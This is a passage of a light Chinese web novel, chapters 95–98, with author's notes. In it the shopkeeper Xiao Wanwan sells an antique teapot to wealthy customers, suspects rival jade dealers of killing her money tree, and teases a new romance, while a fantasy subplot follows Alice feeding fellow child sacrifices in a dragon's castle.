问题出在这，那位王老板打听半天，好像不是他们圈子里的，越想越奇怪，到底是哪来的程咬金，敢坏了他们的好事。 “他一直问我卖了多少，我当时想气气他，说了个大概价格，王老板一听就发脾气了。 我现在回想，总觉得他们故意做局骗我，趁我着急出手的时候压价。” 萧妧妧直呼卧槽，她随口一猜，没想到事情还真不简单。 不是她以小人之心度君子之腹，而是这类事件她有所耳闻，不得不往坏了想。 入行前萧妧妧特意在网上查了翡翠玉石这一行的瓜，越吃越有，越吃越心惊。 不法之地有不法之地的玩法，脏手段多得是，到了法治社会，他们有更多更文明的手段，叫你哑巴吃黄连有苦说不出。 “他们知道你把帝王绿出给我了？”萧妧妧问。 高鹭秒回：“还不知道，我当时起疑心了，没说下去。不过萧老板你自己多注意些，要是有什么需要帮忙打听的，我可以帮你留意。” “你也别担心，说不定只是我的错觉，他们不敢做什么的。” 按理说，帝王绿脱手和高鹭没关系了，事后察觉不对愿意知会她一声，难怪圈子里传言高鹭靠谱有义气，传言不假。 “谢谢你高鹭姐，我会小心的。” 结束对话，萧妧妧莞尔一笑。 “这么看来，是我截了别人的道，他们得恨死我了吧……” 五千万买价值一亿的帝王绿，奸商！ 萧妧妧是黑心了点，贪财了点，经常干点“走私”的活，但她至少不坏。 话又说回来，查到她也没事，她是开古董铺的，买卖翡翠玉石是副业中的副业，两个圈子交集不多，他们惯常的手段恐怕不会起作用。 萧妧妧胡思乱想一阵，安心了，便没再当回事。 直到晚上关闭店铺，准备接货，萧妧妧看见门口蔫哒哒的发财树。 开始开始了，朴实无华的商战开始了！ 可恶，竟然连花花草草都不放过！ “我的旺财啊，你死得好惨……” 【作者有话说】 大家好，我是发财树，我的名字叫旺财 V我营养液助我复活，我将祝福各位财源广进[好运莲莲] 感谢读者“哦了瓦特了”,灌溉营养液+50 感谢读者“萌萌”,灌溉营养液 +20 感谢读者“迪丽肉包”,灌溉营养液+1 感谢读者“小星星”,灌溉营养液+1 96 第96章 ◎浇了发财树，就不能浇她了哦◎ 养发财树不一定能发财,但弄死她发财树的人一定想坏了她财运。 王老板动手了？浇了发财树，就不会浇她了吧？ 萧妧妧毫无头绪，甚至不敢说发财树的惨死和那几个翡翠商有关。 她能做到的是锁紧店铺门窗，把系统防御功能开到最大,除小卖部后门位置,其他所有地方全部打开摄像头,防止他们继续上手段。 最好别让我抓到现行,否则，我要让发财树的冤魂永远缠着他……萧妧妧恶狠狠握拳发誓。 没工夫为发财树哀悼,一个电话接一个电话打进来，她订购的家禽和种子到了。 彼时已是深夜,门前停了两辆小货车，工人接力搬运。 两辆车走了,院中堆得满当当，萧妧妧清点过后通通扔空间,才喘口气,龙傲天的玻纤箭和啤酒送来了。 为了降本增效,啤酒选了本地小厂商生产的三无产品,萧妧妧无法确定,究竟是喝下肚对人体的伤害大，还是急速冷冻剂后爆裂开的玻璃渣更有杀伤力。 货箱进进出出，沉睡的爱丽丝在不间断的嘈杂中悠悠醒转，她惊恐地躲在柜台下观察一会,除了进出的人类相貌奇怪了些，并没有什么危险,于是主动站出来帮忙。 “不行不行,让师傅看见以为我非法雇佣童工。”萧妧妧挡开她的手。 爱丽丝歪了歪头,不懂萧妧妧说的是什么意思，无措地等待了一会，发现无事可做。 她背上电锯，挎上萧妧妧为她准备的布包，攥紧匕首，转身回到那座幽暗潮湿的古堡。 古堡孤独矗立在密林中，枝叶遮天蔽日，分不清阴晴黑白，爱丽丝不知道自己离开多久。 她凭着记忆摸到古堡中的酒窖位置，轻轻推开腐烂的木门。 吱呀一声，森冷漆黑的房间亮起影影绰绰的光。 爱丽丝藏好打火机，小心挡着蜡烛防止风吹，顺着满是青苔的石阶深入酒窖。 “我回来了。” 环顾一圈，轻唤一声，爱丽丝稍等几秒，木架、酒桶后陆续探出几颗小脑袋，窃窃私语。 本该阴森可怖的画面，因为爱丽丝的微笑而显得温馨。 “有食物。”她说。 固定好蜡烛，摘下挎包，把萧妧妧为她准备的包子馒头等全部掏出来放在桌上，一次性小碗和叉子摆放整齐，再是几瓶矿泉水。 几颗小脑袋互相望了望，终于确定爱丽丝没有死，欢快地跑出来聚集到桌边。 “爱丽丝，你真的去杀龙了？” “它死了吗？” “应该没有，爱丽丝身上很干净。” “食物是哪里来的？国王是不是后悔了？” 爱丽丝抽出湿巾，为她们擦去手上脏污，才允许她们接触食物。 “我找到一个仙境，它可以提供很多食物和水，”爱丽丝看她们吃得狼吞虎咽，顾不上听她说话，停下话音，倒完水在一旁等着。 “这是什么？真好吃。” “我可以再吃一个吗？会不会以后都吃不到了？” “仙境……我们可以去吗？” 爱丽丝迟疑，想到萧妧妧的提醒，摇了摇头。 “仙境只允许最强大最勇敢的女孩子进入，你们是小孩子。” 是的，她们都是孩子，比爱丽丝还要小上几岁。 她们是生活在罗曼王国各地的臣民们推选出来的祭品，满十岁后丢上山。 她们有的是为平息恶龙怒火而来，也有的是王爵、富豪为祈求丰收、财富、健康而送来。 无一例外，全是女孩。 恶魔一样的存在，在无法反抗的脆弱人类眼里，渐渐与神明划上等号，企图与恶龙做交易。 她们是幸运的，在恶龙沉睡时进山，靠着山林的馈赠磕磕绊绊长大，等来了同样是祭品的爱丽丝。 爱丽丝比她们成熟，比她们知道的多，比她们有勇气，得知密林里生活着一群这样的“祭品”们，召集起大家，谋划着反杀恶龙的计划。 从探索古堡到搜集物资，再到确认恶龙的藏身地，一切有条不紊的进行着。 直到恶龙即将苏醒，爱丽丝不得不抢先下手。 可惜，终究是功亏一篑，她太弱了。 “没关系，我有武器了。”爱丽丝举起匕首，森冷的银光在烛火下闪烁，“我会在它回来之前做好准备。” “杀了恶龙，我们会有种子，我们可以搭房子，甚至，我们可以占有这座古堡，成为它新的主人。” “那我们还能吃包子吗？” “我想喝甜甜的水。” 果然还是小孩子……爱丽丝泄气：“都会有的。” 小萝卜头们低声欢呼：“爱丽丝你是天使。” 爱丽丝：“那么……你们还记得恶龙喜欢在哪里藏宝藏吗？” 古堡很大很大，密室四通八达，爱丽丝被押入密林的几个月里，光是想办法填饱肚子就要耗费大部分心力，根本没时间探寻。 “我知道！在地堡。” “还有空中花园。” 爱丽丝微笑：“每个人只允许再吃两个包子，不许浪费水。” “是！”*N 爱丽丝看她们一眼，重新背起挎包，点燃新的蜡烛置放在琉璃灯罩中，提起灯，缓步离开。 滴滴答答的水声不绝于耳，漆黑的走廊更加阴森恐怖，爱丽丝深呼吸，加快脚步。 地堡的入口在拐角处，巨大的拱门像恶龙张开的大嘴。 爱丽丝想，幸好恶龙飞下山觅食了，她可以悄无声息偷走恶龙的宝贝。 堆积成山的金币银币，摇摇欲坠的宝箱，珠宝钻石随意的丢在墙角，王冠项链挂在火把上毫无存在感。 爱丽丝从前只听说过恶龙作恶多端，喜欢劫掠人类，夺走了许多财宝，直到她站在地堡入口，仰头望向一座座金色山脉。 原来……有这么多啊。 如果恶龙能死掉就更好了，这些金币和宝石都将是她们的财产，可以换来无数粮食和保暖的衣服。 不知道那把匕首能不能划破它坚硬的皮肤，不知道萧老板喜不喜欢这些东西…… 爱丽丝蹲在墙角吭哧吭哧扒拉金币宝石，脑袋里走神的想着。 ………… “好累好累，我的胳膊要废了！” 在“嘎嘎嘎”声中，萧妧妧浑身瘫软，倒在沙发里。 孟甜甜回来的晚，正好撞见她要死不活的样子。 萧妧妧有气无力地冲她招招手，孟甜甜扬起疲惫笑容回应，两个像被吸走精气的女人对视一眼，憋不住笑出了声。 孟甜甜想到自己一身汗臭和丧尸的腐烂气息，没好意思凑过去，道一声晚安回房。 看到有人比自己更惨，萧妧妧莫名振作起来了。 把今晚……不，准确说已经是第二天了，最后一批活鸭塞进空间，萧妧妧懒得给自己立岁月静好老板娘人设，粗暴选择系统附带的一键清理功能。 大半夜看不出效果，萧妧妧也没心思看，凌晨三点，熬不住了。 匆匆忙赶回家洗漱，萧妧妧倒头就睡，第二天赶在9点前起床，把自己打扮妥当，踩着虚浮的步子回到小卖部。 推门进去，退出来，门牌没错啊。 看到大不一样的小卖部，萧妧妧差点以为进错了门，挠了挠头，好不容易想起她昨晚用过一次一键清理功能。 系统的一键清理不止是清走灰尘垃圾，还包括重新布局。 之前的布局……哦，之前没有布局，是她胡乱瞎摆放的，主要是空出结界附近的货架，塞满异世界客人可能会喜欢的货物。 一键清理后，商品摆放确实更清晰了，但有一点不好，不合她心意。 萧妧妧赶在开门前把货架陈列恢复原样，顺带给院子里喷上空气清新剂，她总觉得有一股散不去的鸡屎味和烟味。 烟味？ 萧妧妧嗅了嗅，浓烈的二手烟味道。 她循着味找出门，然后看到了院子正大门外，有七个吞云吐雾的精神小哥。 七人头发染得赤橙黄绿，刚好凑出一道彩虹。 “瘾上来了，对不住啊老板，马上就走。” 精神小哥流里流气的笑容油得萧妧妧一激灵，抽抽嘴角，警告道：“景区内不允许抽烟。” “不抽了不抽了，哥们，都灭了吧。” 绿毛青年一吆喝，围在一起的几人马上丢掉香烟，脚尖碾了碾。 烟是丢掉了，但他们好像不打算离开，抱着手机刷低智小视频，粗噶的笑声和刺耳的BGM在巷子里回荡。 萧妧妧狐疑扫他们几眼，碍于大门外是景区的公共区域，严格说来她找不到理由驱赶，遂放弃。 “叮咚” 恰好这时手机响了，萧妧妧以为是黎行聿发来的消息，点进去扫一眼才发现是表演班的同学- 妧妧，上次看到你朋友圈，听说你开了间小卖部，生意怎么样？ 生意啊，那当然是赚疯啦。 萧妧妧：亏惨了，昨晚加班到凌晨[哭哭]- 你别吓我，我也打算回老家开个小店呢。是不是你那里地段不好？- 房租一年多少啊？进货的话是不是很贵？- 干不下去了，太卷了！现在演富二代都要求自带奢牌，工资是没有的，弄坏衣服是不赔的- 你听说了吗？许萌演的电影快要上映了，真羡慕她，有个愿意砸资源的男朋友。不像我们，连改行都不知道改哪行。 萧妧妧没想好怎么回，对面发来了一长串消息。 或许根本不需要她说什么，人家只是找个机会发发牢骚。 不过有一句倒是真的，只靠小卖部的日常流量，营业额不足以支撑房租水电和人工，生意不好做啊。 经历过同样的委屈和迷茫，萧妧妧却给不出什么好建议，她的机遇不可复制。 发去抱抱的表情，新消息弹送出来，黎行聿带着他的朋友到月牙巷口了。 【作者有话说】 [墨镜]我是发财树，我叫旺财，感谢大家的灌溉，我重生啦！ 这一次，我要夺回属于我的一切！ V我营养液，聆听我的复仇计划吧~ [玫瑰]兑现诺言，祝各位读者宝宝财源滚滚，所愿皆得。 PS：读者宝宝们，你们知道你们有多厉害吗！？ 1400收藏出头，但是你们把我干上了本频金榜前85！ 我的天呐…… [亲亲][亲亲][亲亲] 感谢归期迟扔了1个手榴弹、1个地雷、1个火箭炮 感谢读者“藏月水寒”,灌溉营养液 +3 感谢读者“迪丽肉包”,灌溉营养液 +1 感谢读者“杨旷旷”,灌溉营养液+3 感谢读者“睡屁呀起来嗨”,灌溉营养液+8 感谢读者“袖耶鲸格”,灌溉营养液+12 感谢读者“赵家小狮”,灌溉营养液+45 感谢读者“雅月”,灌溉营养液+20 感谢读者“书虫”,灌溉营养液+20 感谢读者“哦了瓦特了”,灌溉营养液+40 97 第97章 ◎新的CP出现了？◎ 萧妧妧没理会彩虹男团,径直拐出巷子迎接客人。 “又见面了，萧老板。” 萧妧妧一眼看见白衬衫的黎行聿，而后是他旁边没个正型的年轻男人。 正要迈步上前，突兀出现的第三人率先出声打招呼,拉走她注意力。 “你……”萧妧妧愣愣望过去,恍然认出他：“是你啊,小傅先生！” 萧妧妧记性不错,尤其记帅哥方面，从不出错。 转头看清打招呼的人,萧妧妧马上记起来，这是上回拉着她买牙雕手串的老傅教授的小儿子,小傅。 萧妧妧迟疑了，没料到两拨客人能碰到一起。 “哥,你来得挺早啊。” 萧妧妧飞快转动脑筋想着怎么安排，这时,黎行聿恰好带着朋友走近,一声哥给萧妧妧喊懵了。 她转头看到点头回应的小傅先生,随即意识到,他们俩竟然是兄弟。 “这是我表哥,姓傅，C大的教授，这不是专业对口嘛，请他帮我掌掌眼。”没正型的青年男人笑得灿烂：“萧老板比照片上看着漂亮。你好,我叫魏钦，老黎的朋友。” 姓傅的C大教授,专业对口,也太巧了吧……话说回来,照片又是怎么回事？ 信息量太大，萧妧妧一愣一愣的，眨巴眼睛望着魏钦，又看向黎行聿，满脸问号。 黎行聿清清嗓子，低声说：“他点过赞。” 萧妧妧恍然大悟，唰一下红了脸。 黑历史不仅被人看见，还记住了，甚至贴脸开大…… 脚趾抠动几下，萧妧妧挤出一丝尴尬微笑，故作大方的请大家进店。 她走在前面带路，余光时不时瞥向小傅先生。 上次见面只知道他名字，这回了解的信息的更多，萧妧妧联想到了另一个人。 她心里好奇，但不敢问，怕掉马甲。 管他们是不是同一个人，反正对她的生意影响不大，萧妧妧想着还是不提为好。 几人前后经过巷子，倚靠墙边的彩虹男团眼珠子滴溜溜转，在他们身上来回盯。 萧妧妧皱了皱眉，碍于客人在场不好说什么，隐晦地迎向他们目光狠狠瞪回去，领客人进店。 黎行聿感官敏锐，进了院门还能感受到背后窥视的目光，拧了拧眉。 “遇到麻烦了？”他落后半步，拉住萧妧妧问道。 萧妧妧挠头，她也不能确定算不算麻烦。 除了目光不善，他们目前为止并没做出什么不妥举动，她不好下断定。 萧妧妧暂时没空纠结他们，便道：“是游客，躲阴凉抽烟，让我阻止了，估计是心里在骂我多管闲事吧。” 黎行聿看她不以为然，暂且按下心中的怀疑。 “请进，你们先坐。” 迈进店，侧身做了一个“请”的手势，萧妧妧径直去柜子里取茶壶。 小傅教授不是第一次来，再次踏入，看清古董铺全貌后，他不禁愣住。 或者说，被震撼到。 空旷的古董铺如今塞得满当当，古董、艺术品、珠宝、杂项……琳琅满目，与初次光顾是截然不同的模样。 目光快速掠过展示柜，凭借他多年的鉴赏经验，以及对古董敏锐的辨别能力，是真品还是赝品，心里大致有了底。 小傅教授突然来了兴致，自顾自闲逛，魏钦亦步亦趋跟在表哥身后低声询问什么。 黎行聿有着老顾客的松弛感，老神在在坐下，自斟自饮。 “今天的茶不错。”黎行聿评价。 萧妧妧满足地嘿嘿笑，黎行聿这人识货，会品，不枉费她花心思从柳如烟那里坑来好茶叶。 她抱来茶壶，小心翼翼揭开盖子，不等她提醒，小傅教授和魏钦自觉围了过来。 “顾景舟紫砂壶套组……” 小傅教授神色颇为意外，轻挑眉梢，捧起紫砂壶左右旋转，仔细辨别。 魏钦跟着凑过去一通乱看。 “瞧着和家里的那*套……风格确实不太一样，但款是对的。”魏钦说。 小傅教授嗯了一声，开口解释：“这一套应当是早期的作品，壶身能看出仿古的影子，也融合了现代审美。” 他细细摩挲感受手感：“细腻，温润，细节处理得完美。” 魏钦自以为小声的询问：“那就是真的了？” 小傅教授没说话，转而道：“萧老板，有矿泉水吗？我想注满茶壶试试。” 萧妧妧早有准备，顺手从柜台上拿来一瓶水，正要拧开盖子，黎行聿接了过去。 魏钦眼眸一眯，目光定在黎行聿身上，黎行聿没管他，配合小傅教授将水倒入紫砂壶。 萧妧妧认认真真地看，现场授课机会难得，正好学学怎么分辨紫砂壶的好坏。 等矿泉水注满，小傅教授盖上盖子，拿来茶杯置于桌面，缓缓倾倒茶壶，换着手法来，一连倒满整套茶杯才停。 但这不是结束，他又按住气孔，彻底翻倒过来，除了壶嘴部分有少量水流出，之后在没有一点洒漏。 “水流顺畅、稳定，控水性和断水性都很好，密封性也不错。”小傅教授一通操作后如此评价。 “什么是断水性？”萧妧妧趁机提问。 小傅教授好脾气的讲解：“断水性是看停止倒水的瞬间……”他耐心地演示一遍，将壶嘴转到萧妧妧的方向，“壶嘴不会有水洒出。” 萧妧妧哦了一声，好学生似的连连点头。 当着客人面不好意思记笔记，萧妧妧记在心里，回头拿朱可心的紫砂壶多实验几次。 “确实是顾景舟的作品。”小傅教授下决断。 魏钦欣喜不已，当即从黎行聿身上挪开目光，“是真的？萧老板这铺子虽小，东西却不差，市面上可有十几年没见着东西了。” 萧妧妧骄傲仰头：“诚信经营，童叟无欺。” 魏钦得知紫砂壶是真品，沉吟片刻，开门见山地问：“萧老板预期价位是多少？” 东西他是一定要买的，但有钱人也不是傻子，讨价还价的步骤不能少。 萧妧妧当然不会说底价，顾左右而言他：“上回拍卖顾大师的作品是十三年前，当时卖出了9000万的价格……” 注意到魏钦笑意微敛，萧妧妧话锋一转：“当然，那套茶壶是鼎盛期的精品，又是完整的一套，且意义非凡，不管从哪方面来说，都是难得的珍品。 我这一套多有不及，一壶、四杯、四托，体量少了些，肯定是开不出9000万的价。” 魏钦连连点头，好在萧老板没有狮子大开口，真敢要交9000万，他转身走人。 “拍卖价虽然不能当行价，但也反应了行情，何况最近这些年确实没见过顾景舟的作品，我要价高些也是合理的吧？魏先生您看呢？” 绕了一圈，问题又回到魏钦这里，虽然她没明说，魏钦却听出不少意思。 他看向黎行聿，等他给个主意，但黎行聿根本不理他，又转头看向表哥小傅教授，眼神求救。 小傅教授推了推眼镜，给出建议：“如果在3000万左右，倒是可以商量。” 3000万不少了，估价四舍五入勉强算800万，能卖出小几千万的价格，利润足足翻了好几倍，她很满足。 “小傅教授不愧是专业人士，对行情了如指掌。那我给各位透个底吧，低于3000万不卖。” 魏钦沉吟片刻，试探着开口：“三千……二？” “成交。”萧妧妧秒接话。 速度太快，以至于魏钦来不及反应，他惊疑不定的去看表哥，怀疑自己价格报太高。 萧妧妧笑眯眯：“您别误会，他们二位是不破斋的老顾客，您是他们介绍来的，我肯定不会抬价，只要价格不低得离谱，都好说。” 看在黎行聿的份上，萧妧妧赚够了的前提下，是不打算在几百万的价钱上纠缠，随便他们报三千几，她都一口应下，就当是卖个好。 给黎行聿老顾客一个面子，盼着他再介绍新客户，给魏钦一点好处，也希望他能多多照顾生意。 古董越来越多，客源急需拓展啊。 想到魏钦混的圈子，富一代富二代如过江之鲫，关系网更不用说，萧妧妧权衡一番，越发舍得投入。 小傅教授轻轻点头，“按现在市场行情来说，价格适中，萧老板确实没有乱开价。” 魏钦闻言踏实了，越看紫砂壶越满意。 3200万不贵，在他预期之内，但是不能买贵了，显得他很傻。 魏钦选择银行转账，他打了一通电话出去，萧妧妧刚包装好紫砂壶，3200万已经到账。 萧妧妧强忍着没去看，抓紧机会推销铺子里的其他宝贝。 小傅教授继续欣赏金枝玉叶前，魏钦对古董兴趣不大，倚着柜台和萧妧妧搭话。 “萧老板做了我一笔3200万的生意，能不能告诉我那天到底怎么回事啊？” 魏钦笑容有点贱嗖嗖的，萧妧妧起了疑心：“哪天？” 魏钦做了个举牌子的动作，萧妧妧秒懂。 “你们是好朋友，他没跟你说过？”萧妧妧反问回去。 魏钦咂咂嘴：“怎么没问？他不肯说，小墨那小子光哈哈笑，打听几句是一个字不告诉你。” 萧妧妧礼貌微笑：“那我也不能说。” 丢人的事谁乐意说出去啊，黎行聿不愿意让朋友知道，她才不会去做讨人嫌的事。 “黎行聿，你选好哪家餐厅了吗？” 眼看魏钦有缠上来接着问的架势，萧妧妧眼疾手快，东西推给他，溜到桌边和黎行聿搭话。 魏钦果然没再问起那天社死的事，疑惑问：“要吃饭吗？怎么没跟我说声，这样，我做东请大家一起吃一顿，谢谢萧老板割爱。” 萧妧妧摆摆手，去看黎行聿的态度，然而他没来得及开口，魏钦一胳膊勾过来，揽住好兄弟的肩头，嬉皮笑脸。 “都别跟我客气啊，这回幸好有老黎给了消息，问哥贡献私人时间当顾问，该谢谢你们。 萧老板最仗义，做生意爽快，也得谢谢你。正好一起吃一顿，我一起谢过。” “南市我不熟，要不去老黎家的庄园，我记得离南市不远？借老黎的地盘用用，其他我来安排。” 魏钦全然不顾好友的别有深意的打量，自说自话定下了这么一顿答谢宴。 黎行聿拨开他胳膊，“别叫我老黎。” 魏钦从善如流：“好的小黎。” 萧妧妧抿唇憋笑。 “工作日有课。” 小傅教授头也没抬，保持着俯身欣赏古董的姿势，淡淡插话。 这是答应的意思。 “你们都是大忙人，肯定跟着你们的时间走，”魏钦扭头回应，又转过头来征询萧妧妧意见：“萧老板周末有空吗？” 黎行聿忙起来没个数，问他等于白问，直接定时间他反倒能安排安排。 傅问时间已经确定，只有不太熟悉的萧妧妧需要魏钦特意问一句。 萧妧妧想了想，吃顿饭而已，地方又是黎行聿提供的，安全问题可以放心。 “好啊，我没问题，那就周六吧。”萧妧妧爽快应下。 “周日吧。”黎行聿提醒她：“周六有展览。” 萧妧妧一拍脑门，她差点把收藏展给忘了，果然最近事多，记性跟不上。 “没关系，展览下午结束，咱们看完展览再和魏先生汇合，来得及。”她盘算一遍行程，放下心来。 周日上午陪爸妈看电影首映，晚上约了许年华，中途要抽空去取冰红紫，小卖部也要照顾到，实在挤不出时间。 魏钦双手环胸，似笑非笑的探究目光在两人身上来回打转。 “老黎，你什么时候喜欢逛展览了？”魏钦摩挲下巴，调侃道：“不会是什么项目成果展览吧？” 萧妧妧解释：“是一个老藏家的私人收藏展，规模挺大的，图片简介做的相当很丰富。魏先生感兴趣的话，可以抽空去看看。” 黎行聿没说话，端起茶杯的瞬间，瞥向好友。 “谢邀，不感兴趣。” 魏钦认怂，耸耸肩膀退出话题，凑到表哥身边贩剑。 周六的聚餐在三言两语中定下，萧妧妧殷勤地倒茶添水，巴不得他们多留一会，再心血来潮的买几样。 她基本可以确定，小傅教授就是网络上小有名气、曾经帮她鉴过宝的博主——不问。 如果没记错，小傅教授的全名是傅问，恰好能对应上。 两人讲解古董时的语气一模一样，尤其有魏钦在旁边捣乱，他的反应和态度，与面对评论区“不怀好意”看腹肌的网友大差不差，无奈又包容。 萧妧妧嘿了一声，感慨缘分的奇妙。 “评估报告最快下周能出来，文件不方便外传，哪天有空去黎明了解一下？正好刘秘书在，可以商量一下协议的问题。” 走神的工夫，黎行聿不知道什么时候走到她身侧，突然告知一个好消息。 萧妧妧眼眸晶晶亮，惊喜地仰头望向他。 “妧妧姐。” 萧妧妧飞快思索下周到底哪天有空，尽快定下时间，云昭昭意外地出现在门口。 听到声音，古董铺里的几人下意识看过去。 魏钦一看见云昭昭的脸，暗自“咦”了一声。 小傅教授目光同样凝在云昭昭脸上，心底泛起疑惑。 云昭昭没料到铺子里有客人，还很多，甚至包含了她的雇主。 四道目光齐刷刷投过来，云昭昭陡然意识到自己的存在打扰了萧妧妧做生意。 一只脚刚刚迈进铺子门槛，脚尖没来得及落地，悄悄缩了回去。 礼貌微笑，云昭昭乖觉地退到廊下等待。 余光瞥到多宝架前颀长身影，云昭昭情不自禁停下脚步，怔怔出神。 萧妧妧敏锐察觉到气氛的微妙，左看看右看看，最终把怀疑目光对准了傅问。 再看向云昭昭，怀念又惊艳的目光里夹杂了一丝不确定，以及无法掩饰的欢欣与期待。 以她多年嗑CP的经验推断，他们不对劲！ 新的CP要出现了？ 【作者有话说】 嘿嘿，又是我，重生的发财树：D V我营养液，助力复仇计划实施 当前复仇进度97.9999%，就差你这一瓶啦！ 感谢读者“丁丁”,灌溉营养液+136复仇进度增加0.0000136% 感谢读者“月白”,灌溉营养液+13复仇进度增加0.0000013% 感谢读者“婷婷”,灌溉营养液+1复仇进度增加0.0000001% 感谢读者“哦了瓦特了”,灌溉营养液+20复仇进度增加0.0000020% 感谢读者“睡屁呀起来嗨”,灌溉营养液+1复仇进度增加0.0000001% 感谢读者“迪丽肉包”,灌溉营养液 +1复仇进度增加0.0000001% 感谢读者“小小茶花”,灌溉营养液 +70复仇进度增加0.0000070% 感谢读者“斯内普的洗发水”,灌溉营养液+33复仇进度增加0.0000033% 感谢读者“catle”,灌溉营养液+1 复仇进度增加0.0000001% 感谢读者“杨旷旷”,灌溉营养液+5复仇进度增加0.0000005% 98 第98章 ◎天降白月光◎ 这……年龄差是不是有点大？ 萧妧妧虽然不能确定傅问具体年龄,可再怎么说，大学教授不可能二十出头吧？ 看他那张脸也不太像。 “你们自便，我一会回来。” 和客人交待一声，萧妧妧出门找云昭昭说话。 工作日的上午,她选在这时候找来多半有正经事。 “不是多要紧的事,”回过神,云昭昭从帆布包里拿出信封递来,“我来替学长送请柬。” 这又是什么请柬？ 想到一种可能，萧妧妧渐渐睁大眼睛,目光呆滞。 “不是吧？你们要结婚了？ 你才刚满二十吧？会不会太快了？ 你这个年纪正是读书的时候，怎么能跳进婚姻的坟墓？” 萧妧妧过于震惊,一长串话不带停顿，脱口而出。 云昭昭猝不及防,呆在原地又羞又窘，她下意识瞥一眼屋内,跺脚道：“什么呀……这是黎学长生日宴的请柬！” 听到是生日宴请柬,萧妧妧差点以为游戏回档。 她一头雾水地拆了信封细看,确实是生日请柬,日期地点等信息一模一样,落款签名不同。 “可是……我前几天已经收到啦。”萧妧妧扭头，正对上黎行聿望过来的视线，微微笑回应后，转头和云昭昭说：“黎行聿给我的。” 这下轮到云昭昭摸不着头脑了,莫名地望向黎行聿，发现他正脸对着两人所在方向,一下子缩了回来不敢再看。 红色铺了金粉的请柬在阳光下闪烁细碎光芒,黎行聿倏然捏紧拳头,他轻咳两声，掩饰性地端起茶杯，只有余光落在门外。 “大概……忙中出错？”云昭昭语气充满不解。 宴会有管家操持，光是确定宴请的宾客名单就花了半个月时间。 有商务往来的宾客早早寄了请柬和邮件，确认好行程。 至于亲友部分，走得是另一份名单，黎行聿和黎行墨自行决定，基本是在这几日陆续送出请柬。 “不过，黎行墨到底为什么邀请我啊？我和他没说过几句话呢。” 黎行聿的生日宴邀请她倒还可以理解，在她手里买过古董，又一起投资了项目，说点厚脸皮的话，那就是合作伙伴。 云昭昭茫然摇头，她也不知道为什么。 萧妧妧心思一动，黎行墨这小子不会要搞什么惊喜吧？ “妧妧姐，里面那两位是……” 云昭昭说话时控制不住往屋子里看了好几眼，萧妧妧以为她会忍到客人离开，结果没说几句就憋不住了。 “来买古董的客人，一个是黎行聿的朋友，另一个是他朋友的表哥。” 云昭昭忍不住又偷瞄一眼，想问问那位表哥的情况，没能开口，几人先后出了铺子，作势要离开。 萧妧妧眼神示意她稍等，快步上前送客人出门。 彩虹男团仍旧守在巷子口，看到几人出来，他们目光齐齐落在魏钦拎着的盒子上。 萧妧妧警惕地挡在魏钦身侧，生怕他们没轻没重地撞上来。 魏钦不动声色地扫视周遭，忽而笑着捣了捣黎行聿胳膊。 黎行聿看他一眼，没说什么，到了巷子口，他才对萧妧妧道：“有情况随时给我打电话。” 萧妧妧挠头，她能有什么情况？ 黎行聿下颌微抬，示意那几个流里流气的青年。 真有情况报警不是更有效？ 哪怕牵来大王在他们面前溜一圈也好。 心里那样想着，萧妧妧表现出来的却是另一番态度：“谢谢你啊黎行聿，放心吧，这里是市区，没人敢闹事。” 越是人流量大的景区，安全管控方面越是严谨，巡逻警察一天三趟路过，除了精神病谁敢乱来。 萧妧妧生活在月牙巷，对这里的情况最了解不过，比起担心，更多是困扰，以及好奇他们想干什么。 黎行聿见她不以为意，遂换了话题：“知道你对投资感兴趣，我那里有几本适合初学者的案例和理论书，下次见面带给你。” 萧妧妧笑容凝固：“……那还是别见面了吧。” 她只想搭顺风车赚分红，不是想读书学习啊！ 黎行聿没跟上她的脑回路，歪头，疑惑看来，萧妧妧笑着回应：“开玩笑，谢了啊，我会认真学的。” 他一片好心，拒绝了显得她不识好歹，翻几页再还回去，糊弄人谁还不会啊。 “老黎，你走不走啊？说要开会的是你，磨磨蹭蹭的又是你。” 魏钦探出车窗，嘴里不耐烦的抱怨，神情却更像是在起哄看热闹。 “下次见，餐厅地址晚点发给你。” 萧妧妧目光落在车上，黎行聿及时侧身，拉回她的注意力。 “下次见。” 萧妧妧冲他们挥挥手，车子看不见影才离开。 闹心的彩虹男团大约是站不住了，一个个敞着腿坐在青石板地面上。 萧妧妧嘲笑两句弱鸡，进了院子关上院门。 “小萧回来啦。” 一走进院子，先看见的是景区管理员，萧妧妧意外了一瞬。 “佩姐，玲姐，有什么新通知吗？” 除了日常管理工作，平时没什么重要事情，她们基本不会离开办公室。 卷发大姐果然递来通知单，提醒道：“七夕活动，景区通知下来了，要大家把铺子妆点一下，弄得干干净净。 七夕当天要配合景区造景，所有店铺的店员换上古装，让游客沉浸式打卡。 还有一个七夕打卡领文创盲盒的活动，活动告示要贴大门上，家家都有，别忘了啊。” 萧妧妧接下活动告示，简单扫一眼通知单，把事情记在心里。 作为著名历史文化街区，街巷遍布古色古香的建筑，景区每年都会贴合传统节日做一些小活动小布置，增加一些趣味性的文化摊位，借此吸引游客。 和往年的要求大差不差，照做就是。 “对了，门前那棵发财树是不是晒死啦？蔫哒哒的摆在外面不好看，赶紧拖进来啊。” “知道啦，辛苦佩姐玲姐。” 要紧事通知完，再挑剔一下店铺门面，两人转身进了隔壁刘叔的水果店。 云昭昭过来搭把手，和萧妧妧一起把死翘翘的旺财挪到院子里。 这一连串的忙了小半天，萧妧妧热出一脑门汗，捞了两瓶冰可乐分出去，瘫在沙发上咸鱼躺。 “妧妧姐，那位戴眼镜的表哥，你知道他的名字吗？”云昭昭抱着可乐一口气喝了大半瓶，鼓足勇气开口追问。 萧妧妧见她锲而不舍，愈发好奇两人的故事。 “傅问，C大的教授，好像是教……”教什么来着？ “是考古吗？”云昭昭语气急促。 萧妧妧点点头，又摇摇头。 她还真不记得教什么，很了解古董的样子，多半和历史考古一类的相关吧。 云昭昭松了一口气，信息全部对上了，果然是他。 能在南市再见傅问，云昭昭难掩雀跃，心脏噗通噗通跳。 萧妧妧迟疑：“你们什么时候认识的？” 太明显了，他们看起来就像是久别重逢，都不需要她问前置问题。 云昭昭回想片刻，老实说：“大概是我十三岁的时候。” 萧妧妧一口可乐喷出来，义愤填膺：“他有病啊？你才十三岁他就敢勾.引你？” 云昭昭脑子都炸了，不敢相信自己听到了什么。 “妧妧姐！你想什么呢，什么勾.引……哎呀！反正不是你想的那样。” 萧妧妧狐疑看她，振振有词：“你是小孩子你不懂事，他那时候多大？他不勾.引你，你能喜欢他？渣男！禽.兽！” “求你了，你小点声！”云昭昭急得要上去捂嘴：“我没有喜欢他。” 